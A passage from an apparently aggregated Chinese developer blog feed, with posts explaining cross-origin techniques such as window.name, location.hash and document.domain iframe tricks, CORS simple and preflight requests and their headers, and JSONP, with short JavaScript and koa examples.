onload事件会触发2次,第1次加载跨域页,并留存数据于window.name function load() { if(first){ // 第1次onload(跨域页)成功后,切换到同域代理页面 let iframe = document.getElementById(‘iframe’); iframe.src = ‘http://localhost:3000/b.html’; first = false; }else{ // 第2次onload(同域b.html页)成功后,读取同域window.name中数据 console.log(iframe.contentWindow.name); } } </script>b.html为中间代理页,与a.html同域,内容为空。 // c.html(http://localhost:4000/c.html) <script> window.name = ‘我不爱你’ </script>总结:通过iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。8.location.hash + iframe实现原理: a.html欲与c.html跨域相互通信,通过中间页b.html来实现。 三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。具体实现步骤:一开始a.html给c.html传一个hash值,然后c.html收到hash值后,再把hash值传递给b.html,最后b.html将结果放到a.html的hash值中。 同样的,a.html和b.html是同域的,都是http://localhost:3000;而c.html是http://localhost:4000 // a.html <iframe src=“http://localhost:4000/c.html#iloveyou”></iframe> <script> window.onhashchange = function () { //检测hash的变化 console.log(location.hash); } </script> // b.html <script> window.parent.parent.location.hash = location.hash //b.html将结果放到a.html的hash值中,b.html可通过parent.parent访问a.html页面 </script> // c.html console.log(location.hash); let iframe = document.createElement(‘iframe’); iframe.src = ‘http://localhost:3000/b.html#idontloveyou’; document.body.appendChild(iframe);9.document.domain + iframe该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。 只需要给页面添加 document.domain =‘test.com’ 表示二级域名都相同就可以实现跨域。实现原理:两个页面都通过js强制设置document.domain为基础主域,就实现了同域。我们看个例子:页面a.zf1.cn:3000/a.html获取页面b.zf1.cn:3000/b.html中a的值// a.html<body> helloa <iframe src=“http://b.zf1.cn:3000/b.html" frameborder=“0” onload=“load()” id=“frame”></iframe> <script> document.domain = ‘zf1.cn’ function load() { console.log(frame.contentWindow.a); } </script></body> // b.html<body> hellob <script> document.domain = ‘zf1.cn’ var a = 100; </script></body>三、总结CORS支持所有类型的HTTP请求,是跨域HTTP请求的根本解决方案JSONP只支持GET请求,JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。不管是Node中间件代理还是nginx反向代理,主要是通过同源策略对服务器不加限制。日常工作中,用得比较多的跨域方案是cors和nginx反向代理 ...

February 12, 2019 · 4 min · jiezi

http跨域详解

跨域为什么会有跨域??由于浏览器的同源策略限制,浏览器会拒绝跨域请求,那么什么是同源呢?如果两个页面的协议,端口,和域名都相同,则两个页面具有相同的源。如果3者有一个不同,则为跨域。域的更改页面可能会因某些限制而改变他的源。脚本可以将document.domain的值设置为其当前域或者当前域的超级域。如果将其设置为其当前域的超级域,则较短的域将用于后续源检查。假设http://store.company.com/dir/…:document.domain = “company.com"这条语句执行之后,页面将会成功地通过对http://company.com/dir/page.h…(假设http://company.com/dir/page.h…)。这里必须两个页面都设置document.domain才能通过同源策略。这是因为设置document.domain都会导致端口口号被重写为null。(即使document.domain= document.domain).只有子域和父域都设置document.domain。才能确保端口号都为null。跨域网络访问同源策略控制了不同源之间的交互,例如在使用xmlhttpRequest或img标签时候则会受到同源策略的约束,这些交互通常分为3类1 通常允许跨域写操作(cross-origin whites) 。例如重定向表单提交等2 通常允许跨域资源嵌入(cross-orgin embedding). 例如img <script> <iframe>3 通常不允许跨域读操作(cross-origin reads)。但常可以通过内嵌资源来巧妙的进行读取访问。例如可以读取嵌入图片的高度和宽度和jsonp内嵌脚本的方式。如何允许跨域访问使用cors允许跨域访问。(cross-origin resource sharing)浏览器将cors请求分为两类。简单请求(simple request)和非简单请求(not so simple request)只要同时满足一下两大条件,就输入简单请求1)请求方法是以下三种方法之一 head get post2) http的头信息不超出以下几种字段:accept accept-language content-language last-event-id content-type(只限于三个值application/x-www-form-urlencoded multipart/form-data text/plain)凡是不同时满足上面两个条件。就属于非简单请求。浏览器对这两种请求的处理,是不一样的。简单请求浏览器发现这个跨域ajax请求是简单请求,就自动在头信息之中,添加一个origin。如果origin指定的源,不在许可范围内,服务器会返回一个正常的http回应。浏览器发现,这个回应的头没有包含access-control-allow-origin字段。就知道出错了。从而抛出一个错误,被xmlhttprequest onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为http回应的状态码有可能是200.。Access-Control-Allow-Origin: http://api.bob.com 该字段必须,它的值要么是请求的origin的值,要么是*.表示接受任意域名的请求。Access-Control-Allow-Credentials: true 字段可选,表示是否发送cookie。默认情况下,cookie不包括在cors请求之中设为true,表示服务器明确许可,coookie可以包含在请求中,一起发给服务器。这个值也只能为true,如果服务器不要浏览器发送cookie,删除该字段即可。另外ajax请求也必须打开withCredentials属性var xhr = new XMLHttpReqeust();xhr.withCredentials = true;否则,即使服务器同意发送cookie。浏览器也不会发送。但是如果省略withCredentials设置,有的浏览器还是会一起发送cookie。这时可以显式关闭withCredentials = false;** 需要注意,如果要发送cookie。access-control-allow-origin就不能设为星号。必须指定明确一致的域名。同时cookie依然遵循同源政策,只有用服务器域名设置的cookie才会上传,其他域名的cookie并不会上传,且原网页代码中的document.cookie也无法读取服务器域名下的cookie.**Access-Control-Expose-Headers: FooBar 该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader(‘FooBar’)可以返回FooBar字段的值。非简单请求非简单请求时那种对服务器有特殊要求的请求,比如请求方式是put或delete。或者content-type字段的类型是application/json非简单请求的cors请求,会在正式通信之前,增加一次http查询请求,称为预检请求(preflight)。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,已经可以使用那些http动词和头信息。只有得到肯定答复,浏览器才会发出正式的xmlhttprequest请求,否则就报错。OPTIONS /cors HTTP/1.1Origin: http://api.bob.comAccess-Control-Request-Method: PUTAccess-Control-Request-Headers: X-Custom-HeaderHost: api.alice.comAccept-Language: en-USConnection: keep-aliveUser-Agent: Mozilla/5.0…预检请求用的请求方式是optioons,表示这个请求时用来询问的。头信息里面,关键字段是origin,表示请求来着那个源。除了origin字段,预检请求的头信息包括两个特殊字段。access-control-request-method 该字段是必须的,用来列出浏览器cors请求会用到哪些http方法。access-control-request-headers。 该字段是一个逗号分隔的字符串,指定浏览器cors请求会额外发送的头信息字段。预检请求的回应HTTP/1.1 200 OKDate: Mon, 01 Dec 2008 01:15:39 GMTServer: Apache/2.0.61 (Unix)Access-Control-Allow-Origin: http://api.bob.comAccess-Control-Allow-Methods: GET, POST, PUTAccess-Control-Allow-Headers: X-Custom-HeaderContent-Type: text/html; charset=utf-8Content-Encoding: gzipContent-Length: 0Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/plain上面回应中,关键字段是access-control-allow-originaccess-control-allow-methodsaccess-control-allow-headers通常返回200 后者204.204与200的不同就是。204不需要携带多余的响应体,节省流量如果浏览器否定了预检请求。会返回一个正常的http回应,但是没有任何cors相关的头信息字段。服务器回应的其他cors相关字段如下Access-Control-Allow-Methods: GET, POST, PUTAccess-Control-Allow-Headers: X-Custom-HeaderAccess-Control-Allow-Credentials: trueAccess-Control-Max-Age: 17280001)Access-Control-Allow-Methods该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。(2)Access-Control-Allow-Headers如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。(3)Access-Control-Allow-Credentials该字段与简单请求时的含义相同。(4)Access-Control-Max-Age该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。一旦服务器通过了预检请求,以后每次浏览器正常的cors请求,就都跟简单请求一样,会有一个origin头信息字段,服务器的回应,也都会有一个access-control-allow-origin头信息字段。与jsonp的比较cors与jsonp的使用目的相同,但是比jsonp更强大jsonp只支持get 请求。cors支持所有类型的http请求。jsonp的优势在于支持老式浏览器以及可以不支持cors的网站请求数据。 ...

December 25, 2018 · 1 min · jiezi

跨域访问

简介浏览器出于安全和隐私的原因,对于XMLHttpRequest请求,禁止不同域名,不同端口,不同协议间的脚本相互影响,跨域脚本无效。如上图(摘自参考1)用户在浏览器浏览网站,如果javascript脚本请求了yahoo的接口或者文件,会报类似下图这样的错误。同源策略:相同域名,相同端口,协议相同。三者有一个不满足,对于XMLHttpRequest来说,就存在跨域问题。剖析参考4,深度好文。慕课也有一篇翻译的,建议对比着看。解决方式1.使用web代理的方式处理(详情见参考1)。这也是通用处理方式。(可以配置NGINX服务、或者代码层次上请求)大致的做法就是在web后端向第三方网站发送http请求,然后“包装”一下,供前端调用。2.Cross-Origin Resource Sharing(CORS)通过添加一些特殊的请求头、响应头,使web进行跨域通信详情可以参考5Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar3.jsonp(JSON with Padding)原理:一种非官方跨域数据交互协议,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<script>、<img>、<iframe>。说明:ajax和jsonp的原理不一样!jsonp说白了就是后端动态生成数据(可以是json,也可以不是,但是javascript一定要能够解析),前端通过<scirpt>(也可以是<iframe>或者其他支持跨域的标签)标签请求该数据,从而突破浏览器的同源策略的限制。4.。。。可以参考6总结第一种和第二种为主流方式,也是个人使用最多的。。(不清楚其他人。)号外偶然发现慕课上有一个课程(参考7),个人还没看,有空瞄一眼~参考https://developer.yahoo.com/javascript/howto-proxy.htmlhttps://blog.csdn.net/hansexploration/article/details/80314948https://html.spec.whatwg.org/#crossDocumentMessageshttps://www.html5rocks.com/en/tutorials/cors/https://mubu.com/doc/1Mdo8geHR8http://www.cnblogs.com/rainman/archive/2011/02/20/1959325.htmlhttps://www.imooc.com/note/947

December 24, 2018 · 1 min · jiezi

跨域资源共享——CORS

跨域资源共享(Cross-Origin Resource Sharing)是一种机制,它使用额外的 HTTP 头部告诉浏览器可以让一个web应用进行跨域资源请求。请求类型简单请求若一个请求同时满足下述所有条件,则该请求可视为“简单请求”<span style=“color:grey”>(注:灰色字体内容了解即可)</span>:使用的方法为GETHEADPOST手动设置的头部字段只能是(注意:也可以设置 Forbidden header name 中的头部字段,如 Connection 、Accept-Encoding等,但是设置无效)AcceptAccept-LanguageContent-LanguageContent-Type(值的范围还要符合下面的要求)<div style=“color:grey”>DPR</div><div style=“color:grey”>Downlink</div><div style=“color:grey”>Save-Data</div><div style=“color:grey”>Viewpoer-Width</div><div style=“color:grey”>Width</div>Content-Type 的值只能为application/x-www-form-urlencodedmultipart/form-datatext/plain<div style=“color:grey”>No event listeners are registered on any XMLHttpRequestUpload object used in the request; these are accessed using the XMLHttpRequest.upload property.</div><div style=“color:grey”> No ReadableStream object is used in the request.</div>预检请求CORS 预检请求发生在实际请求之前,用于检查服务器是否支持 CORS,以判断实际请求发送是否安全。预检请求使用的方式是 OPTIONS。当一个请求不是“简单请求”时,即应该先发送预检请求,比如:这个请求的请求方式不是GET、HEAD、POST或者,这个请求设置了自定义的头部字段,比如 X-xxx或者这个请求的 Content-Type 值不是 application/x-www-form-urlencoded 、 multipart/form-data、text/plain,等等跨域请求过程跨域请求,CORS要求服务端设置一些头部字段,最重要的一个就是 Access-Control-Allow-Origin。下面以案例进行说明,前端使用 axios 进行 http 传输,后端以 koa 作为服务端框架,并使用CORS中间件 koa2-cors。简单跨域请求// Client http://localhost:8080simpleRequest() { axios({ method: ‘GET’, url: ‘http://localhost:3000/api/simple’ }).then(data => { console.log(data); });}// Server (cors());router.get(’/api/simple’, ctx => { ctx.body = { result: ‘simple request success’ };});HTTP 报文:HTTP 请求头部有个 Origin 字段,表示请求来自哪里。HTTP 响应头部中的 Access-Control-Allow-Origin 表示哪个域可以访问该资源。使用 Origin 和 Access-Control-Allow-Origin 就完成了最简单的访问控制。预检请求&正式请求// Client http://localhost:8080mainRequest() { axios({ method: ‘POST’, url: ‘http://localhost:3000/api/mainRequest’, headers: { ‘X-test’: ‘CORS’ } // 增加一个自定义的头部字段,触发预检请求 }).then(data => { console.log(data); });}// Server (cors());router.post(’/api/mainRequest’, ctx => { ctx.body = { result: ‘main request success’ };});预检请求的报文:请求首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。请求首部字段 Access-Control-Request-Headers 告知服务器,实际请求将携带一个自定义请求首部字段:x-test。服务器据此决定,该实际请求是否被允许。响应首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用哪些方法发起请求。响应首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 x-test。实际请求的报文:实际请求中发送了 X-test 头部字段,响应状态码 200 OK。可以看到,预检请求中 Client 和 Server 使用了更多的头部字段来完成访问控制。那么,CORS 相关的请求头部字段和响应头部字段共有哪些呢?头部字段HTTP 请求头部字段Origin Origin 头部字段表示预检请求或实际请求的源站。Access-Control-Request-Method Access-Control-Request-Method 头部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。Access-Control-Request-Headers Access-Control-Request-Headers 头部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。注意,以上请求头部字段无须手动设置,当使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。HTTP 响应头部字段Access-Control-Allow-Origin 其语法如下:Access-Control-Allow-Origin: <origin> | * origin 参数的值指定了允许访问该资源的外域 URI。如果该字段的值为通配符 *,则表示允许来自所有域的请求。 注意,如果服务端指定了具体的域名而非 *,那么响应头部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。Access-Control-Allow-Methods Access-Control-Allow-Methods 头部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。Access-Control-Allow-Headers Access-Control-Allow-Headers 头部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。Access-Control-Expose-Headers 跨域请求中,浏览器默认情况下通过API只能获取到以下响应头部字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma如果想要访问其他响应头部信息,则需要在服务器端设置 Access-Control-Allow-Headers。Access-Control-Expose-Headers 让服务器把允许浏览器访问的头部字段放入白名单,比如:Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header这样浏览器就能够访问到 X-My-Custom-Header 和 X-Another-Custom-Header 响应头部了。Access-Control-Max-Age Access-Control-Max-Age 字段指定了预检请求的结果能够被缓存多久,单位是 秒,比如:Access-Control-Max-Age: 5表示在第一次预检请求发出后,5s 内再访问该接口时会直接发送实际请求,而不需要先发预检请求。过了 5s 后,会再要求先发送预检请求,以此类推。app.use( cors({ maxAge: 5 }));服务端设置了 5s 缓存,实际请求如下:注意,如果设置缓存后,发现每次还是会发送 OPTIONS 请求,请检查你是不是勾选了“禁止缓存”。Access-Control-Allow-Credentials XMLHttpRequest.withCredentials (或者 Request.credentials)表示跨域请求中,user agent 是否应该发送 cookies、authorization headers 或者 TLS client certificates 等凭据。Access-Control-Allow-Credentials 的作用就是:当 credentials 为 “真” 时(XHR和Fetch设置方式不一样),Access-Control-Allow-Credentials 告诉浏览器是否把响应内容暴露给前端 JS 代码。比如:// Client http://localhost:8080simpleRequest() { axios({ method: ‘GET’, url: ‘http://localhost:3000/api/simple’, withCredentials: true // 增加了withCredentials 选项 }).then(data => { console.log(data); });} // Server ( cors({ maxAge: 5, // credentials: true }));此时,服务端未设置 credentials: true,发起请求能看到客户端报错: 如果服务端设置了 credentials: true 则客户端就不会报错了。预检请求的时候,Access-Control-Allow-Credentials 响应头部字段表示实际请求中是否可以使用 credentials。关于 CORS 响应头部字段的运用,建议看一下 koa2-cors 中间件的源码。代码只有几十行,特别清晰易懂。CORS 相关内容如上,了解之后能更好地帮助我们解决日常联调中出现的问题,比如:出现跨域了服务端怎么设置,axios.post 方法发送一个对象时为什么会出现 OPTIONS 请求,代理服务器怎么才能转发cookies等等。 ...

November 25, 2018 · 2 min · jiezi